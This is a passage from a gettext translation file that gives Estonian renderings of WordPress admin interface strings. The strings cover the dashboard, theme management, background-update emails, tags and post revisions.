msgstr "<span>%1$s, %2$s</span> <a href=\"%3$s\">%4$s</a>"

#. translators: number of megabytes
#: wp-admin/includes/dashboard.php:1138
msgid "%s MB Space Allowed"
msgstr "%s MB ruumi lubatud"

#. translators: 1: number of megabytes, 2: percentage
#: wp-admin/includes/dashboard.php:1150
msgid "%1$s MB (%2$s%%) Space Used"
msgstr "%1$s MB (%2$s%%) ruumi kasutatud"

#: wp-admin/themes.php:203 wp-admin/themes.php:284
msgid "Theme Details"
msgstr "Teema üksikasjad"

#: wp-admin/options-reading.php:66
msgid "When this setting is in effect, a reminder is shown in the At a Glance box of the Dashboard that says, &#8220;Search Engines Discouraged,&#8221; to remind you that your site is not being crawled."
msgstr "Kui see seadistus on aktiivne kuvatakse Töölaual Ülevaate lahtris teadet &#8220;Otsimootorid on blokeeritud&#8221; tuletamaks meelde, et sinu saiti ei indekseerita."

#: wp-admin/includes/dashboard.php:35
msgid "At a Glance"
msgstr "Ülevaade"

#: wp-admin/themes.php:207 wp-admin/themes.php:288
msgctxt "theme"
msgid "Active:"
msgstr "Aktiivne:"

#: wp-admin/includes/theme.php:208
msgid "Accessibility Ready"
msgstr "Ligipääsetavaks kohendatud"

#: wp-admin/themes.php:345
msgid "This is a child theme of %s."
msgstr "See on %s alamteema."

#: wp-admin/themes.php:40
msgid "This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties."
msgstr "Seda lehte kasutatakse installitud teemade haldamiseks. Lisaks WordPressiga kaasa tuleav(te)le  vaiketeema(de)le loovad teemasid ka paljud teised arendajad."

#: wp-admin/themes.php:42
msgid "Hover or tap to see Activate and Live Preview buttons"
msgstr "Liigu hiirega üle või vajuta, et näha \"Aktiveeri\" ja \"Eelvaade\" nuppe"

#: wp-admin/themes.php:43
msgid "Click on the theme to see the theme name, version, author, description, tags, and the Delete link"
msgstr "Klõpsa teemal et näha selle nime, versiooni, autorit, kirjeldust, märksõnu ja Kustuta-linki"

#: wp-admin/themes.php:44
msgid "Click Customize for the current theme or Live Preview for any other theme to see a live preview"
msgstr "Klõpsa kasutusel oleva teema puhul Muuda, teiste puhul Eelvaade nägemaks oma saiti selle teemaga"

#: wp-admin/themes.php:45
msgid "The current theme is displayed highlighted as the first theme."
msgstr "Praegune teema on esile tõstetud kui esimene teema."

#: wp-admin/themes.php:72
msgid "Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way."
msgstr "Toksa või liigu hiirega teema kohale ning klõpsa Eelvaate nuppu, et näha eraldi üle-ekraani-vaates sinu saiti selle teemaga ja seadeid muuta. Eelvaate nupu leiab ka iga teema-lehe alaservast."

#: wp-admin/themes.php:73
msgid "The theme being previewed is fully interactive &mdash; navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Save &amp; Activate button above the menu."
msgstr "Eelvaadeldav teema on interaktiivne &mdash; võid navigeerida erinevatele alamlehtedele nägemaks postituste, arhiivide ja lehemallide toimimist. Võimalikud seadistused sõltuvad eelvaadeldava teema võimest neid toetada. Kui soovid uue teema koos valitud seadistustega kasutusele võtta klõpsa Salveste ja aktiveeri nuppu menüü kohal."

#: wp-admin/themes.php:74
msgid "When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again."
msgstr "Kui eelvaatled teemat väiksemal monitoril võid kasutada vasakpoolse paani allservas olevat ikooni selle paani peitmiseks, nii jääb rohkem ruumi saidi katsetamiseks. Paani taastamiseks klõpsa uuesti ikooni."

#: wp-admin/widgets.php:339
msgid "To activate a widget drag it to a sidebar or click on it. To deactivate a widget and delete its settings, drag it back."
msgstr "Mooduli aktiveerimiseks lohista see külgpaanile või klõpsa sellel. Deaktiveerimiseks ja seadete kustutamiseks lohista moodul tagasi."

#. translators: 1: The rating, 2: The number of ratings
#: wp-admin/includes/template.php:2144
msgid "%1$s rating based on %2$s rating"
msgid_plural "%1$s rating based on %2$s ratings"
msgstr[0] "%1$s hinnang, põhineb %2$s hinnangul"
msgstr[1] "%1$s hinnang, põhineb %2$s hinnangul"

#. translators: 1: The rating
#: wp-admin/includes/template.php:2148
msgid "%s rating"
msgstr "%s hinnang"

#: wp-admin/my-sites.php:42
msgid "This screen shows an individual user all of their sites in this network, and also allows that user to set a primary site. They can use the links under each site to visit either the frontend or the dashboard for that site."
msgstr "See leht kuvab kasutajale kõik tema saidid selles võrgustikus ning lubab valida peamise saidi. Iga saidi juures on viited mille abil saab külastaa saidi avalikku või haldus-poolt."

#. translators: 1: Error code, 2: Error message.
#: wp-admin/includes/class-wp-upgrader.php:2633
msgid "Rollback Error: [%1$s] %2$s"
msgstr "Eelmise versiooni taastamise viga: [%1$s] %2$s"

#. translators: 1: Error code, 2: Error message.
#: wp-admin/includes/class-wp-upgrader.php:2636
msgid "Error: [%1$s] %2$s"
msgstr "Viga: [%1$s] %2$s"

#: wp-admin/includes/class-wp-upgrader.php:2560
msgid "The following plugins were successfully updated:"
msgstr "Järgnevad pluginad uuendati edukalt:"

#: wp-admin/includes/class-wp-upgrader.php:2561
msgid "The following themes were successfully updated:"
msgstr "Järgnevad teemad uuendati edukalt:"

#: wp-admin/includes/class-wp-upgrader.php:2562
msgid "The following translations were successfully updated:"
msgstr "Järgnevad teemad uuendati edukalt: "

#: wp-admin/includes/class-wp-upgrader.php:2573
msgid "The following plugins failed to update:"
msgstr "Järgnevate pluginate uuendamine ebaõnnestus:"

#: wp-admin/includes/class-wp-upgrader.php:2574
msgid "The following themes failed to update:"
msgstr "Järgnevate teemade uuendamine ebaõnnestus:"

#: wp-admin/includes/class-wp-upgrader.php:2575
msgid "The following translations failed to update:"
msgstr "Järgnevate tõlgete uuendamine ebaõnnestus:"

#: wp-admin/post.php:114
msgid "Unable to submit this form, please refresh and try again."
msgstr "Vormi ei ole võimalik saata, palun värskenda lehte ja proovi uuesti."

#: wp-admin/index.php:55
msgid "<strong>Screen Options</strong> - Use the Screen Options tab to choose which Dashboard boxes to show."
msgstr "<strong>Ekraani seaded</strong> - Kasuta Ekraani seadete sakki Töölaual kuvatavate lahtrite valimiseks."

#: wp-admin/index.php:68
msgid "<strong>Activity</strong> - Shows the upcoming scheduled posts, recently published posts, and the most recent comments on your posts and allows you to moderate them."
msgstr "<strong>Tegevused</strong> - Kuvab ajastatud ja avaldatud postitusi, viimaseid kommentaare ning lubab neid modereerida."

#: wp-admin/index.php:70
msgid "<strong>Quick Draft</strong> - Allows you to create a new post and save it as a draft. Also displays links to the 5 most recent draft posts you've started."
msgstr "<strong>Kiire mustand</strong> - Aitab luua kiiresti uue postituse ning selle mustandina salvestada. Ühtlasi kuvab 5 viimast mustandit."

#: wp-admin/index.php:72
msgid "<strong>WordPress News</strong> - Latest news from the official WordPress project, the <a href=\"http://planet.wordpress.org/\">WordPress Planet</a>, and popular and recent plugins."
msgstr "<strong>WordPress News</strong> - Värsked uudised WordPressi ametliku projekti <a href=\"http://planet.wordpress.org/\">WordPress Planet</a> lehelt, samuti populaarsed ja uued pluginad."

#: wp-admin/index.php:74
msgid "<strong>WordPress News</strong> - Latest news from the official WordPress project, the <a href=\"http://planet.wordpress.org/\">WordPress Planet</a>."
msgstr "<strong>WordPress News</strong> - Värsked uudised ametlikult WordPressi projektilt <a href=\"http://planet.wordpress.org/\">WordPress Planet</a>."

#: wp-admin/post.php:117
msgid "Oops, you don&#8217;t have access to add new drafts."
msgstr "Ups, sul ei ole ligipääsuõigusi, et lisada uusi mustandeid."

#: wp-admin/themes.php:101
msgid ""
"Are you sure you want to delete this theme?\n"
"\n"
"Click 'Cancel' to go back, 'OK' to confirm the delete."
msgstr ""
"Oled sa kindel, et soovid seda teemat kustutada??\n"
"\n"
"Vajuta 'Tühista', et minna tagasi või 'OK', et kinnitada kustutamine."

#: wp-admin/theme-install.php:52 wp-admin/themes.php:105
msgid "Add New Theme"
msgstr "Lisa uus teema"

#: wp-admin/themes.php:122
msgctxt "Add new theme"
msgid "Add New"
msgstr "Lisa uus"

#: wp-admin/themes.php:229 wp-admin/themes.php:308 wp-admin/themes.php:338
msgid "Update Available"
msgstr "Uuendus saadaval"

#: wp-admin/themes.php:318
msgid "Close overlay"
msgstr "Sulge vaade"

#: wp-admin/themes.php:316
msgid "Show previous theme"
msgstr "Näita eelmist teemat"

#: wp-admin/themes.php:317
msgid "Show next theme"
msgstr "Näita järgmist teemat"

#: wp-admin/widgets.php:430
msgid "Add Widget"
msgstr "Lisa moodul"

#: wp-admin/includes/dashboard.php:42
msgid "Activity"
msgstr "Tegevused"

#: wp-admin/includes/class-wp-upgrader.php:2539
msgid "WordPress site: %s"
msgstr "WordPressi leht: %s"

#: wp-admin/includes/class-wp-upgrader.php:2545
msgid "SUCCESS: WordPress was successfully updated to %s"
msgstr "ÕNNESTUS: WordPress edukalt uuendatud versioonile %s"

#: wp-admin/includes/class-wp-upgrader.php:2547
msgid "FAILED: WordPress failed to update to %s"
msgstr "EI ÕNNESTUNUD: WordPressi ei õnnestunud uuendada versioonile %s"

#: wp-admin/includes/class-wp-upgrader.php:2567
msgid "SUCCESS: %s"
msgstr "ÕNNESTUS: %s"

#: wp-admin/includes/class-wp-upgrader.php:2581
msgid "FAILED: %s"
msgstr "EI ÕNNESTUNUD: %s"

#: wp-admin/includes/class-wp-upgrader.php:2604
msgid "[%s] There were failures during background updates"
msgstr "[%s] Taustal toimuva uuenduse käigus ilmnes tõrkeid."

#: wp-admin/includes/class-wp-upgrader.php:2606
msgid "[%s] Background updates have finished"
msgstr "[%s] Taustal toimunud uuendused jõudsid lõpule."

#: wp-admin/includes/dashboard.php:47
msgid "Quick Draft"
msgstr "Kiire mustand"

#: wp-admin/includes/dashboard.php:52
msgid "WordPress News"
msgstr "WordPressi uudised"

#: wp-admin/includes/update.php:224
msgid "WordPress %1$s running %2$s theme."
msgstr "WordPress %1$s kasutab %2$s teemat."

#: wp-admin/includes/dashboard.php:458
msgid "What&#8217;s on your mind?"
msgstr "Millest sa mõtled?"

#: wp-admin/includes/dashboard.php:499
msgctxt "drafts"
msgid "View all"
msgstr "Vaata kõiki"

#: wp-admin/includes/dashboard.php:47 wp-admin/includes/dashboard.php:501
msgid "Drafts"
msgstr "Mustandid"

#: wp-admin/includes/dashboard.php:642
msgid "Publishing Soon"
msgstr "Avaldatakse varsti"

#: wp-admin/includes/dashboard.php:649
msgid "Recently Published"
msgstr "Hiljuti avaldatud"

#: wp-admin/includes/dashboard.php:658
msgid "No activity yet!"
msgstr "Tegevused puuduvad!"

#: wp-admin/includes/dashboard.php:710
msgid "Today"
msgstr "Täna"

#: wp-admin/includes/dashboard.php:712
msgid "Tomorrow"
msgstr "Homme"

#: wp-admin/includes/dashboard.php:1098
msgid "Popular Plugin"
msgstr "Populaarne plugin"

#: wp-admin/includes/dashboard.php:1144 wp-admin/includes/dashboard.php:1157
msgid "Manage Uploads"
msgstr "Halda meediateeki"

#: wp-admin/includes/class-wp-upgrader.php:1509
#: wp-admin/includes/update-core.php:781 wp-admin/includes/update-core.php:856
#: wp-admin/includes/update-core.php:879
msgid "The update cannot be installed because we will be unable to copy some files. This is usually due to inconsistent file permissions."
msgstr "Uuendusi ei installeeritud, sest ei õnnestunud kopeerida mõningaid faile. Tavaliselt on põhjuseks puuduvad õigused failide ülekirjutamiseks."

#: wp-admin/includes/class-wp-upgrader.php:2406
msgid "WordPress %s is also now available."
msgstr "WordPress %s on nüüd saadaval."

#: wp-admin/includes/class-wp-upgrader.php:2430
msgid "Your site at %1$s experienced a critical failure while trying to update WordPress to version %2$s."
msgstr "Sinu veebilehe %1$s WordPressi versiooniks %2$s uuendamise käigus tekkis kriitiline viga."

#: wp-admin/includes/class-wp-upgrader.php:2470
msgid "Your site was running version %s."
msgstr "Lehekülg kasutas versiooni %s."

#: wp-admin/includes/class-wp-upgrader-skins.php:641
#: wp-admin/update-core.php:351 wp-admin/update-core.php:630
msgid "Update Translations"
msgstr "Uuenda tõlkeid"

#: wp-admin/includes/class-wp-upgrader-skins.php:656
#: wp-admin/includes/class-wp-upgrader.php:2069
msgid "Updating translations for %1$s (%2$s)&#8230;"
msgstr "Uuendab tõlkeid %1$s (%2$s)&#8230; "

#: wp-admin/includes/class-wp-upgrader.php:2068
msgid "Translations for %s"
msgstr "Tõlked %s"

#. translators: 1: Site name, 2: WordPress version number.
#: wp-admin/includes/class-wp-upgrader.php:2369
msgid "[%1$s] Your site has updated to WordPress %2$s"
msgstr "[%1$s] Sinu veebileht on uuendatud WordPress'i versioonile %2$s"

#. translators: 1: Site name, 2: WordPress version number.
#: wp-admin/includes/class-wp-upgrader.php:2375
msgid "[%1$s] WordPress %2$s is available. Please update!"
msgstr "[%1$s] WordPress'i versioon %2$s on saadaval. Palun uuenda!"

#. translators: 1: Site name.
#: wp-admin/includes/class-wp-upgrader.php:2380
msgid "[%1$s] URGENT: Your site may be down due to a failed update"
msgstr "[%1$s] TÄHTIS: Sinu veebileht võib olla katki ebaõnnestunud uuenduse tõttu"

#: wp-admin/includes/class-wp-upgrader.php:2395
msgid "Howdy! Your site at %1$s has been updated automatically to WordPress %2$s."
msgstr "Hei-hei! Sinu veebileht %1$s on automaatselt uuendatud WordPress'i versioonile %2$s."

#: wp-admin/includes/class-wp-upgrader.php:2398
msgid "No further action is needed on your part."
msgstr "Rohkem ei ole vaja midagi teha."

#: wp-admin/includes/class-wp-upgrader.php:2402
msgid "For more on version %s, see the About WordPress screen:"
msgstr "Rohkem infot versiooni %s kohta leiad lehelt:"

#: wp-admin/includes/class-wp-upgrader.php:2415
msgid "Please update your site at %1$s to WordPress %2$s."
msgstr "Palun uuenda oma veebilehte %1$s WordPressi versiooniks %2$s."

#: wp-admin/includes/class-wp-upgrader.php:2422
msgid "We tried but were unable to update your site automatically."
msgstr "Me proovisime, aga ei suutnud lehekülge automaatselt uuendada."

#: wp-admin/includes/class-wp-upgrader.php:2407
#: wp-admin/includes/class-wp-upgrader.php:2424
msgid "Updating is easy and only takes a few moments:"
msgstr "Uuendamine on lihtne ja võtab ainult mõne hetke:"

#: wp-admin/includes/class-wp-upgrader.php:2432
msgid "Your site at %1$s experienced a critical failure while trying to update to the latest version of WordPress, %2$s."
msgstr "Sinu veebilehel %1$s tekkis kriitiline viga viimasele WordPressi versioonile uuendamise ajal, %2$s."

#: wp-admin/includes/class-wp-upgrader.php:2434
msgid "This means your site may be offline or broken. Don't panic; this can be fixed."
msgstr "See tähendab, et sinu veebilehega on probleeme. Paanikaks pole põhjust, seda saab parandada."

#: wp-admin/includes/class-wp-upgrader.php:2436
msgid "Please check out your site now. It's possible that everything is working. If it says you need to update, you should do so:"
msgstr "Palun kontrolli oma veebilehte. On võimalik, et kõik töötab. Kui tuleb teade, et vaja uuendada, siis tee seda:"

#: wp-admin/includes/class-wp-upgrader.php:2453 wp-admin/update-core.php:466
msgid "Keeping your site updated is important for security. It also makes the internet a safer place for you and your readers."
msgstr "Veebilehe uuendatuna hoidmine on tähtis turvalisuse pärast. See muudab interneti turvalisemaks sinule ja sinu veebilehe külastajatele."

#: wp-admin/includes/class-wp-upgrader.php:2447
msgid "If you experience any issues or need support, the volunteers in the WordPress.org support forums may be able to help."
msgstr "Kui sul tekib probleeme ja vajad tehnilist tuge, siis vabatahtlikud WordPress.org foorumites võivad osata sind aidata."

#: wp-admin/includes/class-wp-upgrader.php:2462
msgid "You also have some plugins or themes with updates available. Update them now:"
msgstr "Sul on ka mõned pluginad ja teemad, mis vajaksid uuendust. Uuenda neid kohe:"

#: wp-admin/includes/class-wp-upgrader.php:2466
msgid "The WordPress Team"
msgstr "WordPressi meeskond"

#: wp-admin/includes/class-wp-upgrader.php:2471
msgid "We have some data that describes the error your site encountered."
msgstr "Meil on mõned vihjed, mis võiks aidata sinu veebilehe viga mõista:"

#: wp-admin/includes/class-wp-upgrader.php:2472
msgid "Your hosting company, support forum volunteers, or a friendly developer may be able to use this information to help you:"
msgstr "Järgnevast infost võib abi olla sinu aitamiseks serveriteenuse pakkujal, vabatahtlikele foorumist või veebilehe arendajale:"

#: wp-admin/includes/class-wp-upgrader.php:2485
msgid "Error code: %s"
msgstr "Veakood: %s"

#: wp-admin/themes.php:142
msgid "ERROR: %s"
msgstr "Viga: %s"

#: wp-admin/includes/post.php:1442
msgid "This content is currently locked."
msgstr "Sisu on hetkel lukus."

#: wp-admin/includes/post.php:1444
msgid "If you take over, %s will be blocked from continuing to edit."
msgstr "Kui sa võtad üle, siis kasutajal %s blokeeritakse edasine muutmine. "

#: wp-admin/update-core.php:50
msgid "If you need to re-install version %s, you can do so here or download the package and re-install manually:"
msgstr "Kui sul on vaja uuesti paigaldada versioon %s, siis sa saad seda teha laadides alla paigaldusfailid ning paigaldades need manuaalselt:"

#: wp-admin/update-core.php:161
msgid "Future security updates will be applied automatically."
msgstr "Tulevased turvauuendused paigaldatakse automaatselt."

#: wp-admin/update-core.php:339 wp-admin/update-core.php:347
msgid "Translations"
msgstr "Tõlked"

#: wp-admin/update-core.php:340
msgid "Your translations are all up to date."
msgstr "Sinu tõlked on kõik uuendatud."

#: wp-admin/update-core.php:349
msgid "Some of your translations are out of date."
msgstr "Mõned sinu tõlked on uuendamata."

#: wp-admin/includes/class-wp-upgrader.php:1247
msgid "Some of your translations need updating. Sit tight for a few more seconds while we update them as well."
msgstr "Mõned sinu tõlked vajavad uuendamist. Oota palun paar sekundit kuni neid uuendatakse."

#: wp-admin/includes/class-wp-upgrader.php:1248
msgid "The translation is up to date."
msgstr "Tõlge on uuendatud."

#: wp-admin/includes/class-wp-upgrader.php:1250
msgid "Downloading translation from <span class=\"code\">%s</span>&#8230;"
msgstr "Tõlkeid laaditakse alla <span class=\"code\">%s</span>&#8230;"

#: wp-admin/includes/class-wp-upgrader.php:1252
msgid "Translation update failed."
msgstr "Tõlke uuendamine ebaõnnestus."

#: wp-admin/includes/class-wp-upgrader.php:1253
msgid "Translation updated successfully."
msgstr "Tõlke uuendamine õnnestus."

#: wp-admin/includes/class-wp-upgrader.php:2058
msgid "Updating theme: %s"
msgstr "Uuendatav teema: %s"

#: wp-admin/includes/class-wp-upgrader.php:2064
msgid "Updating plugin: %s"
msgstr "Uuendatakse pluginat: %s"

#: wp-admin/includes/update-core.php:912
msgid "There is not enough free disk space to complete the update."
msgstr "Kettal pole piisavalt vaba ruumi lõpetamaks uuendamist."

#: wp-admin/options-discussion.php:143
msgid "Comment must be manually approved"
msgstr "Kommentaari peab käsitsi heaks kiitma."

#: wp-admin/options-media.php:49
msgid "The sizes listed below determine the maximum dimensions in pixels to use when adding an image to the Media Library."
msgstr "Allpool olevad mõõtmed määravad maksimaalse suuruse pikslites, mida kasutatakse uue pildi lisamisel Meediateeki."

#: wp-admin/options-permalink.php:184
msgid "By default WordPress uses web <abbr title=\"Universal Resource Locator\">URL</abbr>s which have question marks and lots of numbers in them; however, WordPress offers you the ability to create a custom URL structure for your permalinks and archives. This can improve the aesthetics, usability, and forward-compatibility of your links. A <a href=\"http://codex.wordpress.org/Using_Permalinks\">number of tags are available</a>, and here are some examples to get you started."
msgstr "Vaikimisi kasutab WordPress <abbr title=\"Universal Resource Locator\">URL</abbr>e, mis sisaldavad küsimärki ja numbreid - kuid WordPress võimaldab sul luua kohandatud URL-struktuure sinu püsilinkide ja arhiivi jaoks. See parandab esteetikat, kasutatavust ja linkide tulevikukindlust. Siin on <a href=\"http://codex.wordpress.org/Using_Permalinks\">mõned näited, millest alustada</a>"

#: wp-admin/theme-editor.php:33
msgid "Upgrading to a newer version of the same theme will override changes made here. To avoid this, consider creating a <a href=\"%s\" target=\"_blank\">child theme</a> instead."
msgstr "Teema uuendamine värskema versiooni vastu kirjutab üle kõik failides tehtud muudatused. Selle vältimiseks palun kasuta <a href=\"%s\" target=\"_blank\">alamteemat</a>."

#: wp-admin/user-new.php:337
msgid "Create a brand new user and add them to this site."
msgstr "Loo täiesti uus kasutaja ja lisa leheküljele."

#: wp-admin/includes/ms.php:224
msgid ""
"Dear user,\n"
"\n"
"You recently requested to have the administration email address on\n"
"your site changed.\n"
"If this is correct, please click on the following link to change it:\n"
"###ADMIN_URL###\n"
"\n"
"You can safely ignore and delete this email if you do not want to\n"
"take this action.\n"
"\n"
"This email has been sent to ###EMAIL###\n"
"\n"
"Regards,\n"
"All at ###SITENAME###\n"
"###SITEURL###"
msgstr ""
"Hea kasutaja,\n"
"\n"
"Sa oled hiljuti teinud päringu oma administraatori konto e-maili aadressi vahetamiseks.\n"
"Kui see nii on, siis kasuta allolevat linki e-maili muutmiseks:\n"
"###ADMIN_URL###\n"
"\n"
"Kui sa seda teha ei soovi, siis võid vabalt käesoleva teate kustutada.\n"
"\n"
"See e-mail saadeti aadressile ###EMAIL###\n"
"\n"
"Tervitades,\n"
"###SITENAME###\n"
"###SITEURL###"

#: wp-admin/includes/class-wp-filesystem-base.php:298
msgid "Looking for %1$s in %2$s"
msgstr "Otsitakse %1$s asukohast %2$s"

#: wp-admin/includes/class-wp-upgrader.php:1399
msgid "The language pack is missing either the <code>.po</code> or <code>.mo</code> files."
msgstr "Keelefailidest on puudu kas <code>.po</code> või <code>.mo</code> fail."

#: wp-admin/includes/class-wp-upgrader.php:1442
msgid "Attempting to roll back to previous version."
msgstr "Proovime taastada eelmist versiooni."

#: wp-admin/includes/class-wp-upgrader.php:1443
msgid "Due to an error during updating, WordPress has rolled back to your previous version."
msgstr "Uuendamise käigus tekkinud vea tõttu taastasime WordPress'i endise versiooni."

#: wp-admin/includes/class-wp-upgrader.php:2051
msgid "Updating to WordPress %s"
msgstr "Uuendab WordPress'i versioonile %s"

#: wp-admin/includes/class-wp-upgrader.php:2052
msgid "WordPress %s"
msgstr "WordPress %s"

#: wp-admin/includes/file.php:500
msgid "The checksum of the file (%1$s) does not match the expected checksum value (%2$s)."
msgstr "Faili (%1$s) kontrollsumma ei vasta ette antud väärtusele (%2$s)."

#: wp-admin/includes/file.php:1106
msgid "This password will not be stored on the server."
msgstr "Parooli ei säilitata serveris."

#: wp-admin/includes/update-core.php:809
msgid "Preparing to install the latest version&#8230;"
msgstr "Valmistun installeerima viimast versiooni&#8230;"

#: wp-admin/includes/update-core.php:869
msgid "Copying the required files&#8230;"
msgstr "Kopeerin tarvilikke faile&#8230;"

#: wp-admin/install.php:248
msgid "Please provide a valid username."
msgstr "Palun kirjuta korrektne kasutajanimi."

#: wp-admin/install.php:251
msgid "The username you provided has invalid characters."
msgstr "Kasutajanimes on keelatud tähemärke."

#: wp-admin/install.php:255
msgid "Your passwords do not match. Please try again."
msgstr "Paroolid ei kattu. Palun proovi uuesti."

#: wp-admin/install.php:259
msgid "You must provide an email address."
msgstr "Email peab olema lisatud."

#: wp-admin/install.php:263
msgid "Sorry, that isn&#8217;t a valid email address. Email addresses look like <code>username@example.com</code>."
msgstr "E-posti formaat ei sobi, see peaks olema kujul: <code>username@example.com</code>."

#: wp-admin/nav-menus.php:491
msgid "Your theme does not natively support menus, but you can use them in sidebars by adding a &#8220;Custom Menu&#8221; widget on the <a href=\"%s\">Widgets</a> screen."
msgstr "Sinu veebilehe teema ei toeta vaikimisi menüüsid, aga sa saad kasutada neid küljeribal lisades &#8220;Kohandatud menüü&#8221; <a href=\"%s\">Moodulite</a> alla."

#: wp-admin/nav-menus.php:495
msgid "Menus can be displayed in locations defined by your theme, even used in sidebars by adding a &#8220;Custom Menu&#8221; widget on the <a href=\"%1$s\">Widgets</a> screen. If your theme does not support the custom menus feature (the default themes, %2$s and %3$s, do), you can learn about adding this support by following the Documentation link to the side."
msgstr ""
"Menüüsid saab kuvada teemades eri kohtades ja isegi kasutada neid küljeribal lisades &#8220;Kohandatud menüü&#8221; <a href=\"%1$s\">Moodulite</a> alla. \n"
"Kui su teema ei toeta kohandatud menüüsid (vaikimisi teemad %2$s and %3$s toetavad), siis sa võid õppida teemat vastavalt kohandama järgides küljel asuvat dokumentatsiooni linki."

#: wp-admin/nav-menus.php:518
msgid "<strong>Clicking the arrow to the right of any menu item</strong> in the editor will reveal a standard group of settings. Additional settings such as link target, CSS classes, link relationships, and link descriptions can be enabled and disabled via the Screen Options tab."
msgstr "<strong>Vajutades menüüpunkti juures olevale noolekesele</strong> avatakse standartsed seaded. Lisaseaded nagu lingi asukoht, CSS klassid, lingi seosed ja kirjeldus saab nähtavale tuua ülal asuvate Ekraaniseadete alt."

#: wp-admin/edit-form-comment.php:96
msgid "IP address:"
msgstr "IP aadress:"

#: wp-admin/edit-tags.php:261
msgid "Category added."
msgstr "Kategooria lisatud."

#: wp-admin/edit-tags.php:262
msgid "Category deleted."
msgstr "Kategooria kustutatud."

#: wp-admin/edit-tags.php:263
msgid "Category updated."
msgstr "Kategooria uuendatud."

#: wp-admin/edit-tags.php:264
msgid "Category not added."
msgstr "Kategooriat ei lisatud."

#: wp-admin/edit-tags.php:265
msgid "Category not updated."
msgstr "Kategooriat ei uuendatud."

#: wp-admin/edit-tags.php:266
msgid "Categories deleted."
msgstr "Kategooriad kustutatud."

#: wp-admin/edit-tags.php:270
msgid "Tag added."
msgstr "Silt lisatud."

#: wp-admin/edit-tags.php:271
msgid "Tag deleted."
msgstr "Silt kustutatud."

#: wp-admin/edit-tags.php:272
msgid "Tag updated."
msgstr "Silt uuendatud."

#: wp-admin/edit-tags.php:273
msgid "Tag not added."
msgstr "Silti ei lisatud,"

#: wp-admin/edit-tags.php:274
msgid "Tag not updated."
msgstr "Silti ei uuendatud."

#: wp-admin/edit-tags.php:275
msgid "Tags deleted."
msgstr "Sildid kustutatud."

#: wp-admin/edit.php:244
msgid "%s post not updated, somebody is editing it."
msgid_plural "%s posts not updated, somebody is editing them."
msgstr[0] "%s postitust ei uuendatud, sest keegi muudab seda."
msgstr[1] "%s postitust ei uuendatud, sest keegi muudab neid."

#: wp-admin/edit.php:245
msgid "%s post permanently deleted."
msgid_plural "%s posts permanently deleted."
msgstr[0] "%s postitus on jäädavalt kustutatud."
msgstr[1] "%s postitused on jäädavalt kustutatud."

#: wp-admin/edit.php:246
msgid "%s post moved to the Trash."
msgid_plural "%s posts moved to the Trash."
msgstr[0] "%s postitus viidi Prügikasti."
msgstr[1] "%s postitused viidi Prügikasti"

#: wp-admin/edit.php:247
msgid "%s post restored from the Trash."
msgid_plural "%s posts restored from the Trash."
msgstr[0] "%s postitus taastati Prügikastist."
msgstr[1] "%s postitust taastati Prügikastist."

#: wp-admin/edit.php:250
msgid "%s page updated."
msgid_plural "%s pages updated."
msgstr[0] "%s leht uuendatud."
msgstr[1] "%s lehte uuendatud."

#: wp-admin/edit.php:251
msgid "%s page not updated, somebody is editing it."
msgid_plural "%s pages not updated, somebody is editing them."
msgstr[0] "%s lehte ei uuendatud, sest keegi muudab seda."
msgstr[1] "%s lehte ei uuendatud, sest keegi muudab neid."

#: wp-admin/edit.php:252
msgid "%s page permanently deleted."
msgid_plural "%s pages permanently deleted."
msgstr[0] "%s leht jäädavalt kustutatud."
msgstr[1] "%s lehte jäädavalt kustutatud."

#: wp-admin/edit.php:253
msgid "%s page moved to the Trash."
msgid_plural "%s pages moved to the Trash."
msgstr[0] "%s leht viidud Prügikasti."
msgstr[1] "%s lehte viidud Prügikasti"

#: wp-admin/edit.php:254
msgid "%s page restored from the Trash."
msgid_plural "%s pages restored from the Trash."
msgstr[0] "%s leht taastatud Prügikastist.."
msgstr[1] "%s lehte taastatud Prügikastist.."

#: wp-admin/revision.php:109
msgid "Compare two different revisions by <strong>selecting the &#8220;Compare any two revisions&#8221; box</strong> to the side."
msgstr "Võrdle kahte erinevat versiooni <strong>märkides &#8220;Võrdle kahte vabalt valitud versiooni&#8221; kasti</strong> nende kõrval."

#: wp-admin/includes/template.php:2003
msgid "Compare Revisions"
msgstr "Võrdle versioone"

#: wp-admin/includes/template.php:2004
msgid "View, compare, and restore other versions of this content on the improved revisions screen."
msgstr "Vaata, võrdle ja taasta sisu varasemaid versioone kasutades täienenud versioonide lehte."

#: wp-admin/includes/template.php:2017
msgid "Edit Lock"
msgstr "Toimetamislukk"

#: wp-admin/includes/template.php:2018
msgid "Someone else is editing this. No need to refresh; the lock will disappear when they&#8217;re done."
msgstr "Keegi teine toimetab hetkel. Vaate värskendamine pole vajalik, toimetamislukk kaob kui teine kasutaja lõpetab."

#: wp-admin/revision.php:158
msgid "Compare any two revisions"
msgstr "Võrdle kahte vabalt valitud versiooni"

#. translators: 1: audio track title, 2: album title, 3: artist name
#: wp-admin/includes/media.php:281
msgid "\"%1$s\" from %2$s by %3$s."
msgstr "\"%1$s\" - %2$s,  %3$s."

#. translators: 1: audio track title, 2: album title
#: wp-admin/includes/media.php:284
msgid "\"%1$s\" from %2$s."
msgstr "\"%1$s\" - %2$s."

#. translators: 1: audio track title, 2: artist name
#: wp-admin/includes/media.php:287
msgid "\"%1$s\" by %2$s."
msgstr "\"%1$s\", %2$s."

#: wp-admin/includes/media.php:289
msgid "\"%s\"."
msgstr "\"%s\"."

#: wp-admin/includes/meta-boxes.php:190
msgid "Your site is configured to keep only the last %s revisions."
msgstr "Sinu sait on seadistatud hoidma ainult viimast %s versiooni."

#: wp-admin/includes/meta-boxes.php:192 wp-admin/includes/meta-boxes.php:195
msgid "Revisions: %s"
msgstr "Versioone: %s"

#: wp-admin/includes/meta-boxes.php:198
msgctxt "revisions"
msgid "Browse"
msgstr "Sirvi"

#: wp-admin/revision.php:175
msgid "Autosave by %s"
msgstr "%s automaatsalvestus"

#: wp-admin/revision.php:178
msgid "Current Revision by %s"
msgstr "Värskeim versioon, autor %s"

#: wp-admin/revision.php:196
msgid "Restore This Autosave"
